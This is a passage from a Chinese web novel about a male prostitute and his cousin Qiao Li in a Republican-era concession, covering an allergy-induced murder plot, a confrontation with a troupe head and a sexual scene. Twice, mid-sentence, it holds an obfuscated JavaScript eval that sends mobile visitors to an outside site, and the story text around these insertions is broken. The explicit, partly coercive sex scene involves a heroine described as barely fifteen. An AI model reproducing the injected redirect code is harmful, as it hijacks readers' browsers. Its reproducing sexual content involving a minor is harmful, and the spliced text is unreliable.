连周莲泱也知道，这是全租界顶好顶华贵的教会学堂，一年光学费就要百多大洋。若不是名门望族、非富即贵的学生，恐怕都进不去，所以玉关柳甚至未叫车停，不将上西女学考虑在内。 隔着胶皮车，一个女学生笑着掷了个包裹沙果的帕子给另一辆车，打在装教材的皮包上，“咚”一声响。 他的心也“咚”一声，沉沉地落进深渊。 “……不远就是圣玛丽亚女中，算是孟家能荐的最好的。只是也最贵，一月需支四五元。” 玉关柳说了一气，未得回话，侧头，双眼中放出些虚伪的了然与同情来：“小莲儿，这回，你知道了罢。” 他知道，他怎么可能现在还想不明白？ 一日勾栏，终身是勾栏，难道要表妹同班的女学友，知晓她有个勾栏院里的爱哥哥么？ 一行清泪从颊边落下。周莲泱依着扶手，身体几乎要滑落下去，仿佛领略不住这秋的凄寒。 凄寒，凄寒，风又早早领会冬意，冷冷地侵过来了。 ——自此一遭，周莲泱便决意与乔璃分隔。 正好她忙，温水煮青蛙地，一点一点搬离阁楼。二楼本来就还有两件供荤角接客的屋室，装潢反倒比阁楼精美许多。 只是冷，又空又冷，空冷得他止不住掉眼泪。 哪怕钟铭来劝，柴凌翠隔门叫骂，哪怕被乔璃扯着袖子质问，周莲泱也不曾动摇决心。 莲二爷固执起来，十头牛都拉不回来。 名声——一个好名声，对人活下去，是多么重要啊。他之前都在做什么？他已如此了，难道还要拖表妹一起吗？ 白日正常做活，晚上尤为残酷，噩梦卷土重来，总是让他尖叫着从梦中惊醒才罢休——慢慢会习以为常的。 直到—— 直到又是一日旬休，他饮多了酒，深夜才从外归来，被钟铭一把抓住手腕。 微光中，白面小生的脸竟狰狞如罗刹。 “乔璃已高热三夜辗转不退，不醒也不理人，昏迷中只叫你的名字。” “周莲泱，你……真敢狠心不管么！” 20. 拾玖 旧日如戏 周莲泱无法将眼睛从乔璃脸上移开。 她的脸埋在枕头里，晕着一片一片病态的酡红，额发被汗黏成许多小绺儿，粘在颊侧。面颊好像早瘦下来一圈儿了，原本丰润福相的下巴收成一个窄尖。胸口拉风箱一样艰难地将空气吸入，沉重凄长。 他浑身打战地跪在她身边，伸出手去揽她的肩膀，触手便被烧烫的温度唬了一跳：火炉似的烫得怕人！这样竟一气烧了三天么？ 他唤了几声，只是没有回应，药怎么都灌不进去，由热变凉。 据钟铭说，玉关柳也来瞧过一次，面色极阴沉，什么也没说便走了。 周莲泱伏身去揽她的肩膀，把额角抵在她胸前，眼角已渗出泪来：“囡儿……囡儿你醒一醒，病成这样，不肯吃药怎么行？” 烧成这样，要是火毒入肺，变成肺炎，她的身体怎么受得了？ 他握着她热而虚弱的手，饱含的泪掉了下来。在担忧与焦急下，还有一种不断烦扰他的、贯彻心肺的痛责：乔璃这病，是不是因他而得的呢？ 转瞬，周莲泱心底又转出一种奇怪的自嘲——多么自作多情的想法！瞧这阁楼，所有属于他的东西已一点不剩，就像他从来不曾居住过一样。 他蜷缩起身体，把脸靠在乔璃手心，断断续续地哭起来。片刻后，埋进去的柔软，轻轻碰了碰他的下巴。 周莲泱猛地抬头，乔璃正睁眼睛看着他，眼周红中发青，与火烧的脸色相对照，眼睛显得特别黑：“表哥……” “囡儿？”他探身过去，试图听得更清楚，但乔璃将目光移开了。 她不愿看他。周莲泱心口一阵绞痛。 “囡儿，没来看你，是哥哥的错。你……你先喝药，吃一点东西，好不好？” 她漆黑的一双眼凝视着他，这样看了很久，像在很迟钝地思考什么。乔璃素日聪敏机慧，周莲泱哪见过她这样，一时急得不知如何是好。 乔璃这样一动不动很久，忽然开口，声音哑涩：“……表哥不要我了，是么？” 周莲泱脸白得像一张纸，强自挤出一丝笑：“囡儿怎么会这么想？” “是因为我搬走了么？平日待客……总不好天天半夜上楼下楼的，若往后有新人进班，二楼的屋子要不够分呢，先占住一间才行……” 乔璃的眼没有动，神色也未有变化，双颊那样烧红着，按捺隐忍着许多他不知道的痛：“表哥不要我了。” 他双腿一软，神情失魂落魄，嘴里仍顽固：“不……我没有不要你……囡儿，囡儿你听我说，你是要入女学的，我不能再跟你一道。你难道想要以后的同学，都知道有个当男伎的哥哥吗？” “那是不行的，一日为伎，终身为伎……我不能带坏你的名声。”周莲泱头脑清晰了一些，将他所得出的结论一一道来，“囡儿聪慧，玉关柳赏识你，愿意替你打点去女学。上了女中，再如孟家闺秀一样去读大学，留洋，有大好前程，我也就不负姑姑所托了。” 床榻仿佛形成一方小小的密闭空间，空气也近乎凝固。 周莲泱低头，急促的喘息声清晰可闻，但口中话语从未这么清楚流利地倾泻而出。这些话他酝酿了很久，用心头鲜血酝酿，一朝倾吐，仿佛连魂魄也一道抽出，余下只是一枚空虚的躯壳。 这样最好。他反复嚼着口中这颗汇聚一切痛涩的苦核。桥归桥，路归路，表妹有阳光大道可走，何苦与他一起趟泥泞呢？ 这样最好，这样最好，可为何他的心这样痛，这样委屈，这样不甘愿？ 他又有什么资格不甘愿？ 乔璃的手又动了动。 周莲泱攥紧她，希冀地望过去：“囡……乔璃，你明白了么？明白了便吃药吧。” 兀地，她笑了笑，捂红的脸透出一种又硬又凉的黯倦。 “所以表哥就是不要囡儿了，是么？” 唇边笑依然灿烂，周莲泱才发现她眼里已蓄满泪，微微一晃，便滑落面颊，浸出一线萧索。 “既然表哥不要我。我早该死了，你不用理我，便如此罢。” 周莲泱一时惊住，觉得呼吸都停了，胸府中翻搅起百般不解、千般疑惑——她不是最聪敏么，为什么不懂，为什么不通？大好前程不要，为何偏扑死在自己这样一个废人身上？ 他陷入污泥，她也要跟着陷入？可女子那般脆弱的身骨，被抛进流言蜚语，人尽可欺，岂不是一下子就碎了么？ 见他许久不说话，乔璃强自挣下床榻，周莲泱慌忙扶她，却被一掌拍开。她踉跄两步，从放衣物的箱笼中抽出一张软布，揭开。 一张朱红色的纸，铺过金粉之处可看出老旧，墨色晕染，想来历经时间的风波。 上书[1]：喜今日嘉礼初成，良缘遂缔。诗咏关雎，雅歌麟趾。瑞叶五世其昌，祥开二南之化。同心同德，宜室宜家。相敬如宾，永谐鱼水之欢。互助精诚，共盟鸳鸯之誓。此证！ 订婚人周莲泱乔璃。 乔璃长发披散，赤脚于地，双手捧着婚书，望向周莲泱，口里轻笑着：“当初逃难时，除银票外，我还带了咱们共结连理的证明。表哥既然为我卖身，我便将其藏起，不叫你忆起从前，看了只会心伤。” 周莲泱绷紧如琴弦的心，因这句话一下子断开！ 那婚书——那婚书，记载了他生平所碰见的最鲜亮、最温馨的记忆，他没想到那等紧急之刻，乔璃会将婚书也带上。这是不是也意味着，她同他一样，那么深切地爱着彼此呢？ “今日之事，若反过来，我因外人挑拨之言，狠心与表哥断绝，周莲泱……你怎么想？” 怎么想……怎么想？若乔璃也如孟彩霞、如那个妈妈一样用烦恶的视线看他，他真不如一死了之！ 己所不欲勿施于人。周莲泱眼睛慢慢睁大，觉得前几日自己似是陷入了一个奇怪的漩涡，他都说了诛心之言，做了多少诛心之事？ “可女学……”他嗫嚅一句，乔璃却好似在等他这句话一样，将婚书往前一递。 “我不管女学、戏班，身份，我只知道一件事——表哥下次不理我不要我之前， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615140|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记得先把这婚书烧了，把我的心剜出来罢！” 我怎可能做那残忍之事！ 不知为何，周莲泱已完全无法控制自己的心绪：面对被侵/犯被当做物件赏玩的种种，唯一调解之道便是乔璃的安抚。离开她身边，近日来违心言行积攒的高压、痛苦与逃避早已将他彻底压垮了，靠着莫名其妙的顽固挺到现在，理所当然迎来全然的崩溃。 他跪倒在地，手胡乱在衣襟前撕扯，因为心口像被撕裂了一样痛楚着。他不知从前的少爷是自己，还是现在的雀儿是自己，又谁可信，谁能信—— 乔璃走到周莲泱跟前，跪下身，双手用力将他搂抱入怀。 他依着她的肩颈，哭得浑身都微微发麻，声音微破，水盈的一双杏眼雾雨凄迷：“……我到底该做什么？我到底该怎么做？” “我从前便同表哥说过，只信我便好，为什么不听？” “我……我信囡儿……我信……”他抽噎中杂着轻咳，被一只柔软的掌顺着背，又轻拍几下。 “表哥发誓，今后再不能对我隐瞒任何事。你我之间，再不能有秘密与误会。” 她现在已能理解他的大部分感情变化，只应用还是吃力。能辨别谎言，却不能完全准确地摸着他的心思，只好快刀斩乱麻。 “我发誓！我以后再也不听别人的话，有什么心思，都和你说……” 终于，他的话语与心中真实相符。乔璃拿出帕子揩他眼下的泪，抹去一边，令一边又倏倏落下。眼泪流不尽似的，将他的脸浸出一种白玉也发不出的清涟。眼角哭肿的烂红，亦抹开燕尾似的长痕。 指尖顺着他汗湿的额角下滑，她捧起他的脸颊，吐息微颤，用唇轻轻描摹那抹芙蓉艳色。 气息交织，他的眼角火烫，她的唇亦滚烧着。摩挲一般的轻吻，渐渐加重，如两块闷燃的烙铁，紧紧印在一起。 被这样吻着，触碰过的皮肤就有如烫伤一般灼痛，周莲泱不自禁向后退却，却被扣住后颈，更深地咬进去。 她在他的眼尾唇角留下两枚不深不浅的牙印。有一点疼，更多是蚀骨一般的痒，温柔而缠绵的痒意从眼角烧入骨髓。他在这种近乎将人溺毙的温柔里哭得更厉害，依着她的胸口，小兽一样轻蹭，想要钻进一处由她构筑的安全的黑暗，躲在里面，永远不出来。 蓦地，两人身体骤然一空，向后靠，周莲泱将乔璃压在了床侧。 若不是他眼里还闪着懵懂无措，这样看过去，倒像他因为急色而迫不及待地求欢了。 “对不起，囡儿，你没伤着吧？” 他波粼粼的目光与她的目光碰到一起，羞涩愧疚地闪开，又想查看她是否无恙。 “啊……”她的背磕了一下，用手把住他柔软湿润的面颊，无奈浅笑。 她今日实在虚弱，若非如此，必然…… “表哥，待我病好，你认不认罚？” 周莲泱微微苦笑，苦中又夹些许痴意，扶住她的颈与腿，将人抱回床榻：“认。自然认，表妹病好，我什么都认……” 21. 贰拾 金戈相交 晚秋，蓝阴阴的月亮高悬于空，万里无云的晴夜，被秋色与蓝月浸出一种诡秘的哀愁。 夜已深，主屋还亮着灯，玉关柳穿着白衫子，雪灰的棉坎肩，底下一袭月似的阴蓝的平金马面裙。 她把手轻移茶碗的碗盖，双眼微阖，声音里罕见地含了不耐：“不见。” 来通报的厨娘噎了一噎，目光移向坐着给她捶腿的严雪辕，索性把抹布一抛，叉腰斥道：“小女孩儿病刚好，前来道安尽孝，你还真狂得把自己当甚么太后娘娘了？” 厨娘熊槐胖得如一团肉，又矮，一跺脚，地板仿佛都震颤起来。玉关柳将手中茶碗一磕，冷笑了两声：“身虚体弱还敢为个男人大病一场，玩苦肉计的傻子，我玉关柳不想见，更不屑见。” “你甭跟我白话，不见也得见！” 熊槐把门一拉，手一拽，乔璃便被拽进房门，脚下一滑，差一点跌到地上。 她眼疾手快，扶住八仙桌，翻转身体站稳。熊槐有点讪讪地看着她，举起手：“咋觉得你还没个铁锅重？” “好了，快滚。”玉关柳突然垂下了头，按着一跳一跳的额角。“雪辕，你也出去。” “嗳。”严雪辕站起身，她好像又长高了，笔直笔直如一杆枪戳在地面，“娘，那我走了。” 两人离开后，屋中当即一静。 乔璃揉揉腕子，自顾自找了张圈椅坐下。玉关柳余光扫过她的脸，不似想象中大病初愈的苍白，倒有种气血充盈的暖红。 她眼皮一抬，又道：“怎么，不打算拽着你情哥哥一道死了？” 大哭大闹一通折腾下，周莲泱还躺在床上低烧着，病得要死要活的乔璃倒恢复原样，怎么看怎么古怪。 玉关柳这边语气不愉，乔璃却古井无波：“我的病已经好了。” “本就是引出病根的最后一副药，没有此事，也要烧上三天，清除体内久淤的药毒。” 玉关柳忽然抬脸，眼中迸出精光，露出一个讶喜的微笑：“当真？你不是在故意害自己？” 她话淡淡的，脸上也无甚表情，与平日讨喜笑靥大相径庭：“嗯。” 女人神色玩味，却把双眉一蹙，嗔道：“冤家，你还在怪我不成？你可知我为你入女学之事求了多少人，腿都要跑折，欠了孟家好多人情。好孩子，还不过来给你柳姨揉揉肩，捶捶腿？” 乔璃起身上前，手按住玉关柳两侧肩颈，下手揉捏，通络淤堵的筋理。她手按过来，倒将玉关柳唬一跳，心想这人莫不是想掐死自己？想着，那只手果然顺势往上移，爬到后脑某处，点住一处穴窍。 还挺舒服。 “胡小望是我与翠姊一道杀的。” “不好了，你杀了人，饮过血。现在要动手替你表哥出气？” 乔璃没有理会玉关柳的装腔作势：“你知道他是怎么死的么？只读报纸，可看不出底细。” 这话搔到女人痒处，毕竟报纸上只登“胡小望命丧跑马场”一事，其余语焉不详。 “说是骑马打球时突发头风，梗阻暴死。” “对，倒也不对。胡小望看似高大粗壮，从军练出一身硬功夫，可他本是过敏体质，早年强健，年纪大了，免疫力便弱下来。” 这对玉关柳而言是个新鲜词：“过敏体质？” “对某些食物、粉尘，甚至天气反应强。拿胡小望来说，吃多了酒、海虾、鱼、蟹，就易引发荨麻疹。” 乔璃一下一下揉着玉关柳的肩膀，声音冷而幽，伴着蓝阴阴的夜，凉丝丝的风，平添许多寒气。 “……尤其是虾。” 玉关柳自己也得过荨麻疹，闻言心尖微颤，凝眉道：“虾？” “不错。我让翠姊拐弯抹角荐了几家酒楼，擅做时令海鲜，其中便有白灼虾子，清蒸海蟹。胡小望吃虾饮酒，吃得痛快，便要跑马。柳姨可知，这过敏体质如此折腾，吃海虾、吹冷风，再剧烈运动，会怎么样？” 女人咽了一口唾液，曼声道：“你说怎么样。” “血液逆流，喉头水肿，风团遍体。胡小望不是得头风而死，是被肿大的气管活活憋死的。” 乔璃松开玉关柳肩膀，慢慢踱会圈椅，不坐，手抚在油润的实木靠背处，就这么瞧着面前的女人。 玉关柳叹了口气，敛尽玩笑之情，语气转和：“便是穷尽我严家上下能为，也再找不到比你这不见血的杀人法子。更妙的是，前后周折，一点也联系不上柴凌翠，更找不到泰春班头上。实在是一桩再圆满不过的杀人案。” 女人垂眼瞟一下指尖蔻丹，慢道：“小乔儿，你为什么还不问我？” “问什么？” “为什么我要柴凌翠，一个优伶伎女，去想办法杀高高在上的警厅厅长。” 电灯静静地流着，沉夜如一片梦幻甜蜜的毒汁[1]。 不知从哪里飘出一丝轻笑。玉关柳余光瞟去，乔璃面色仍是宁静。 “我不必现在才问。”乔璃淡道，“在我见到你与甬明商帮往来，甚至与孟厚信有交时，早便自问：凭什么一个优伶伎女，能得商帮领头以礼相待？” 玉关柳忽然纵声大笑。 顷刻之间，她面上早已沉入肤骨、如烟拢雾罩的凝愁已全然散尽。一股复杂的暗色上了脸，居然溢出些少年人才有的浮狂骄慢：“我凭什么？” 乔璃无惧她压来的气势，直直道：“你是一把刀，泰春班也是一把刀，一把替甬明商帮杀人清路，攫取利益的刀。” “好！”玉关柳一震茶桌，“小小年纪，居然从蛛丝马迹中循得关窍，不枉我如此欣赏你。所以你也应当能想到，我为何要执意拆散你与小莲儿，要拆散柴凌翠与朱楼。” “女子在世，本就比男人苦得多。想利用自己的本事往上爬，又妄动情思优柔寡断，只会害了自己！” 乔璃冷道：“你的意思是，这是为了我们好？” 玉关柳颔首：“当然。女子以色侍人，色衰而爱弛，自古如此。严树明与我，合作之谊远胜美色，才有今日的玉关柳。” “夺友之夫做登云之阶，便是以色侍人，也堪赞一声好侍。” 女人的神情在乔璃说出这句话后，终于透出几分真实的愠怒：“你说什么？” “我说什么，柳姨心中自有杆秤：严班头本是谁的未婚夫？是谁曾不论身份，将一优伶歌女引为挚友，真心相待？是谁傻到，居然豪杰不问出处，使未婚夫与秦淮歌伎相见？” “敢问柳姨，可还记得那傻乎乎友人的名字？” 玉关柳望向乔璃，见她面上微微冷笑，知道今日就在这里等着自己。可她虽然做好准备，心中到底一堵：“我当然记得……吴铁音。” “不想你们入铜陵，碰见第一人居然是她，紧接着找上我，当时就觉得是一段孽缘。” 乔璃没有理会她的感慨，继续道：“李公本是旧朝造办处一小官，结了些人脉势力。唯一的儿子早逝，只剩一个孙女，便求孟家帮忙相看，相中严树明。那时你恩客不少，却缺一条严树明这样脾性背景都合适的登云梯，使百般巧计、千种花样，终于把人抢到手里。” “……你非步步为营精心布局才取得今日地位，而是音大姐真心相待却认贼作友，惨遭反噬，才有今日的玉关柳。” 玉关柳嘴角下撇，强忍着不要动怒，左手紧紧攥着桌上紫砂壶：“……好，好，好，我服你牙尖嘴利。我令你不痛快，你要在我身上找回，我认了。还有什么可拿来抨击我的，不如一道说出来！譬如过去那个上吊小生？吴铁音应当与你们讲了罢？” “可你也不想想，若我正如她口中说的那样，是反咬农人一口的毒蛇，冷心冷肺全然无情，你严班头并非蠢傻之人，怎会待我一如既往？” 乔璃不似想象中的义愤填膺：“这件事，我当然也仔细问过严班头。他将一切事责揽在自己身上。” ——“那是我们第一次试水暗杀，以离间计挑拨霓国人关系，那小生不知机密随意插手。你柳姨非是无情，而实在是别无他法，后面还念着要替小生报仇。”严树明醉道，“至于……男子变心，何苦责怪女子？是我对不起铁音。” “……可到底，一人因你而死，一人因你再无欢愉。” 听乔璃如此说，玉关柳唇角忍不住悲凉地一翘，似是往昔浮华堂皇下的黑暗卷着无数悔恨懊恼，沉沉地打过来了。 “你说得没错。” 灯影下，她那么松松倦倦地将颌角往手背一抵，松扎的髻垂落几分，掩进去的容色便淹进窗后蓝阴阴的月光。 玉关柳轻抚手中紫砂壶，静静的靠在美人榻上，似已被旧日的疲倦淹透——她已彻底倦于为自己辩解，倦于同整个淹没柔弱女子的世俗偏见对抗。 “你瞧这壶……是铁音赠我的。她赠我的、还留下的，只有这一件了。我需得为那日谢谢你——未教这壶摔碎在地。” 她看向她，眼中露出了一点深浓的怠：“这壶就是我的悔，我终生避不开的烙印。你若想听，往后我再同你讲一讲那些……旧事。乔璃，我不会再对小莲儿说什么了。你去罢。” 乔璃并没有依言而去。 这年青的女子似也有些倦累。也是，毕竟刚狠狠发过一场烧。 她侧身而站，半边的脸浸着灯光，晕开一种良善的慈悲。另半边脸背着光，只现出一只乌沉沉的眸子，正闪烁着异样尖锐的锋镝之色。 “悔么？严班头应该不知道，你手里的紫砂壶，制式手法，非我国人所作，是霓国人学去、又仿不准真意，捏出来的花巧。” 玉关柳心尖狠狠一跳，微惊地看着她越来越上扬的唇角，在无邪的脸庞上勾勒出险恶的魔性。 “我问遍制壶人，那应当是奉天常用的纹理。柳姨，虽然连音大姐都说你是江宁人，其实不然，你来自奉天。” “你在严班头面前日日对着友人旧礼怀念往昔，就为了装出一副心怀悔恨的模样。可笑。你玉关柳真的会因抢夺友夫而愧疚不成？那壶，是你仇人的旧物才对。” 玉关柳发觉自己冰凉的指尖在微微颤抖，可面对那双笃定无比的黑眸，巧舌如簧居然发挥不出一点作用。 此时，谎言无用，只有继续亮牌。 “我的仇人？小乔儿说的越来越玄乎，可我来自奉天又如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女人霍地抬头，双眼眯起：“你告诉柴凌翠……不，不是泰春班里任何一人，难道……你竟敢……你竟敢告诉吴铁音！” “小乔能信任的，自然只有音姐一人。”乔璃颔首，“三日前，我便书信一封，借严班头的商船，送去铜陵了。” “若我久无音讯，音姐自然会告知甬明商帮。” 这下玉关柳像被抽走了骨头一样，扶着额角歪倒下去，无力地叹了口气：“小乔儿啊小乔儿，你可真是要了你柳姨的命……” “这下，柳姨终于该……” “我不动周莲泱，我再不动他，这回你剥了我一层皮，下一次可要把我的肉剜出来了。” 乔璃眉梢轻挑，面色已恢复惯常的平静：“柳姨误会了。胡小望死后，他的位置自然有更合柳姨心意之人替换。但往上求索，乔璃寡闻，不知势力分布。我只想问，柳姨最后想要示好押注，能够与张巡为敌的靠山，到底是哪一位？” “你知道这个做什么？”玉关柳沉吟片刻，心中有所猜测，却依然不可思议，“你想入局？” “仅凭现在的柳姨，是不可能复仇的。”乔璃唇畔笑意柔和可亲，真似观音座下童子，“暗杀大统帅？靠泰春班，你一辈子都做不到，只会颠覆于乱世。” 玉关柳的头真因为疲惫而开始阵阵作痛了。 “喂，凭你一个刚及笄的小姑娘，说两句胡话，就想抢我的位置不成？” 乔璃轻叹：“怎么可能？柳姨手里捏着我最重要的宝物。今夜的话，若柳姨想有所转圜，乔璃所为，也不过是空谈而已。” “托柳姨的福，能入女学，小乔知足。但我想要对方的名字。” 玉关柳瞧着她很诚恳的脸，恨恨一声：“你要名字？好，我给你，他是青帮达字辈、半个海市都握于其手的大人物，裴大董裴宗邺！” 裴宗邺。 乔璃把这名字在唇齿间磨了几遍，还想问什么，却看见玉关柳轻轻摇颤，有些湿凉的眼。语句一转，她对玉关柳行了个礼：“今日乔璃叨扰过久，柳姨见谅。” “见谅，见谅你个……”玉关柳把半截话吞回去，挥挥手赶人，“快滚吧，快滚吧，这几日莫要我瞧见你的脸。” …… 灯灭了良久，月儿颤颤，星子闪耀，苍白从天幕一线亮起。 玉关柳梦了半个夜，梦麻木而狂乱，到处都是使人晕眩的、不愿回想的记忆。 烟柳画桥，秦淮河畔，有一个沉稳又清亮的声音，把一个问题重复再重复。 ——“你叫什么？” ——“玉关柳。” ——“我知道你叫玉关柳。我问，你的本名叫什么。” ——“我没有本名。” ——“你又骗我。不过没关系，我总有一天会知道的。” ——“你为何如此执着一个伎女的名字？” ——“你怎么还觉得我把你当伎女！我们明明是……” 我们是朋友！ 22. 贰壹 有心无情 好难受。 周莲泱失神地望着身上压来的这个人。她的手握在他的脖颈上，牢牢卡着，介于快令他窒息、却又隐约能维系住一丝空气的程度。她又低下头来，牙尖叼住他的喉结。生死脆弱之处置于危险，他开始感觉晕眩。 惊恐之下，他想要向后逃窜。一挪动，某种邪恶过分的东西又不住地趔趄，逼得他转换身位。 他简直像自己将自己的颈子送入乔璃口中似的。 她自然笑纳。牙齿一收，咬住微凸的喉结。 周莲泱闷叫一声，泪珠簌簌往下掉落。眼前爆开一片炽热的白光，惊颤得不像样子。一头被兽夹捕获的鹿。 乔璃把喉结那块亲得红肿，透出些靡靡。她欣赏着，亲昵地揉揉他的发。 水红的绉纱绸铺在两人身下，将青年肤肉衬得如羊脂白玉。他面色像是吓得煞白，颊侧唇角又晕着异样病态的嫣红，嘴角不知为什么破了一小块，沾着不明显的血渍。 少女的手顺着他肩膀下抚，像是想把他的每一寸都攥进掌心。 青年眼角落一串泪，虚弱无力地瘫软下去，眼睛迷乱地向后翻。下颌被一把抓住，乔璃鼻尖微动，彼此的气息混在一起，分辨不出彼此你我。 一只小金夹在视线边缘闪烁。这金夹做得精巧，长尾牵着一串小指长度的金链，坠一只铜丝与乌金纸拧成的蛱蝶，被那么一拨，就呼啦啦地翩跹起来。 “囡儿……囡……夹头发，实在疼，饶了我……” 一声若有若无的叹息贴着他的耳畔荡开。 乔璃将扯到他头发的夹子松开，放轻力道揉了揉头皮。周莲泱紧闭双眼，双臂扣在她肩后，眼睫湿漉漉的如被雨浇透的蝶翼，啜泣声糊在一起。 “表哥，我还没开始罚你呢。”她试图擦干他的眼泪。 莲花长在水中，所以也是水做的么？ “……这么委屈？” 周莲泱摇摇头，右手循了她的手，穿过她的五指，紧紧相扣。他没料到自己会哭成这样，感觉很愚蠢，就像个废物。 半个时辰前乔璃来给他换药，发烧是因为自己不到位的清理引起的。换完药，又塞入一块泡过药汤的暖玉，温养不该作为承受之用的地方。 然后他扯她的发带、勾她的肩，带着不自信的犹疑，求她惩罚自己。 乔璃依言照做。 暗下来的灯影中，他看见乔璃透深的眼眸中反出一丝危险的淤泥色的黑影。她招手示意他靠过来，某些熟悉的情绪隐去了，有别的东西取而代之。周莲泱不能辨别出那是危险，还是某种真正吸引他的…… 黑暗如此凶猛地涌来，仿佛要将他溺毙，但他摒弃了对溺水的恐惧，敞开身体。黑暗吞噬了他。 其实没有什么疼痛。她不会伤了他。 黑暗被他引诱，却又慢慢停止。因为他哭得停不下来。 乔璃唇角勾着自己也不知晓的弧度，让他在自己肩头稍作休整。 黑暗不断销蚀着猎物的意志。她轻柔地抚摸他微张的唇，花瓣被残忍地撕裂了，被揉碎了，渗出清香的蜜汁。 他的呼吸轻而急，带一点抽噎，呼出药味，末了又有一丝甘甜。这两日他总是反应过激，因为心灵受到创伤，变得易受惊吓。 很可怜。 她等着他主动献上自己。阁楼里光线很昏暗，无法分辨具体时辰。由于这种不分明感，好像世界只剩下两个人。 周莲泱听她平稳中略带急促的心跳，靠她的心跳弥补平静，然后亲吻她，那是一种献祭式的亲吻。 不安仍凝在眉眼之间，为那精致似雕刻出来的五官蒙上一层暗影。 纤直漂亮的脖颈微垂着，膜拜一般，轻柔虔诚地亲吻她的双唇。 乔璃一把扣住他的手腕，往下压，揽着他腰身的手拽起水红的纱绸，使他背对自己。 周莲泱知道接下去要发生什么，没有继续哭，只是红霞从脸颊晕起，呈蔓延之势，一直烧过后颈。 乔璃凑近，他伏着身，微不可见地颤了一下。 既青涩，又染着一种被过早催熟的放/荡，如同湿漉漉蜷起的花瓣，里面藏着一颗谷欠求不满的蕊心。 “……表哥，我要开始罚你了。” 她在他耳畔低笑一声。惯常的微笑渗出一丝弦外之音。周莲泱觉得怕，把脸往臂弯深处埋，听背后窸窣，让他头皮一下炸开。 他感觉自己像一副空壳，而掌握着空壳的人正往内灌入澎湃的黑暗，大脑和心灵只有随着掌控者的移动而移动，聚合，分散。 周莲泱呜咽起来。 无止境的啄吻，她像是要把他揉碎了，吞下去了…… “周莲泱……表哥……” 她抬起脸，浸透微汗，双唇红润如朱，仿佛刚吃了个半饱的母狮，饥渴稍退，眉间流出一丝慵懒。 他低低应了一声。她干哑的声音又落下来，烧他的耳朵：“雀儿，给我唱两句。” 忽有一柄刀割过心头，他捂着骤然喷涌鲜血的伤口，恍惚如大梦初醒，竟有肝胆俱裂之痛。 “你……要我唱？这个时候……” 周莲泱竭力转身，不可思议地瞧着乔璃。他想问为何她要如此辱他，想问难道她也将他当做一个玩物对待。 乔璃眸中含着些柔软的笑意，有些疑惑，有些不解地歪了歪头：“表哥？” “我不……我不唱。”周莲泱不知自己是怎么发出声音的。“我不是雀儿。” “嗯？”她眼里转出些不上不下的迫切，“可我想听，我想听表哥唱。别人听得，我听不得，这是什么道理？” “我不……啊！” 她在惩罚他，因为他拒绝欢/好时唱戏。 屈辱与痛苦一同蔓延心头。周莲泱像一只被折了双翼的金腰雀，失了飞翔的能力与心气，蜷在她掌间。无论怎么折磨，都只会低低哭泣，仿佛除了流泪，再没有旁的手段抵御春潮的冲击。 “你把嘴唇咬破了。”乔璃掰过青年的脸，暗色的眼巡视一番，气息微沉。 他轻颤一下，肩膀战栗不止，腰微微侧起，露出腰眼一处旧伤。 看见那处伤，心尖有种被灼烧的错觉。乔璃按了按胸口，游刃有余的心慢慢落地。片刻清理后，她抄着那袭柔软的绸纱，从后将他裹在怀里。他的后颈被她的唇触碰过的地方开始发麻。 她吻住了那处伤疤。 周莲泱无从判断那是一种温柔的珍视，还是无情的戏弄。他蜷缩于床，另一半在她怀里，眼泪顺着脸颊一路绵延，淌过下颌，滴在她的手背。 “表哥，你不愿意，就不唱。也可以不做。但你不说话，我不知道你为什么生气。” 手指绕进垂落的发丝间，轻轻扯了扯。 “……你也把我当玩物？当一个随意捏扁搓圆的伎？” 他的声音里浸着乔璃不理解的苦痛。 “我没有把你当成玩物。”乔璃蹙眉，努力猜测他的意思，“表哥，你给别人唱戏，为什么不肯给我唱？我没有辱你的意思，只是想听，所以就问了。” “雀儿这个称呼，我也很喜欢。表哥的一切我都是喜欢的。你不是玩物，但你是……你是我的东西。你答应了的，那张婚书，你卖身护我，难道不是爱我？”她握住他的手，五指叠在一起，然后把人搂得更紧。 “表哥难不成反悔了？” 周莲泱似是不信，也不敢相信，自己的心好似时刻处于一种不稳定的犹疑状态——他相信乔璃，又不相信人性。 “……你不觉得我脏么？我在你床上唱，你不会想到，我在旁人床上也这么唱？不会想到你碰过的地方曾是多么脏淫吗？” 乔璃神色很是费解，这并不是一个有趣的，或是值得思考的问题，玩弄他细长如葱节似的手指，都比这有意思。 “表哥恨那些折磨侵/犯你的人，我也记着他们，日后你想，全杀了了事。我知道世人觉得伎子脏，但我不懂为什么脏。你没有得病，常常沐浴，比旁人干净得多。为什么不觉得女票客脏，反觉得你脏？” “若说人言可畏……这确实是一桩事，也只有唯一一种办法去解决。”乔璃叹了口气。“未恢复记忆之前，我实在太过软弱愚蠢，那么明显的事摆在面前，偏偏串联不起来。” 她声音虽低，砸进周莲泱耳里却宛如惊雷：“恢复记忆？” “唔，这说起来可就复杂了，一定要今日说吗？” 乔璃有些贪馋地望着他的颈子，周莲泱恼得翻身下地，扯了外袍，将自己严严实实遮住，沉气道：“说。你的病，你与玉关柳的事，所有。” “还是说，你之前让我发誓，两人间再无秘密误会，都是一场空言？” “当然不，只是我的记忆，说出来恐怕很吓人。”乔璃无奈。 “先讲我这个病吧。其实它并非疾病，而是我的身体供应不上大脑的需求。表哥知道吗，对常人而言，大脑只占人的体重百分之二，都要消耗四分之一 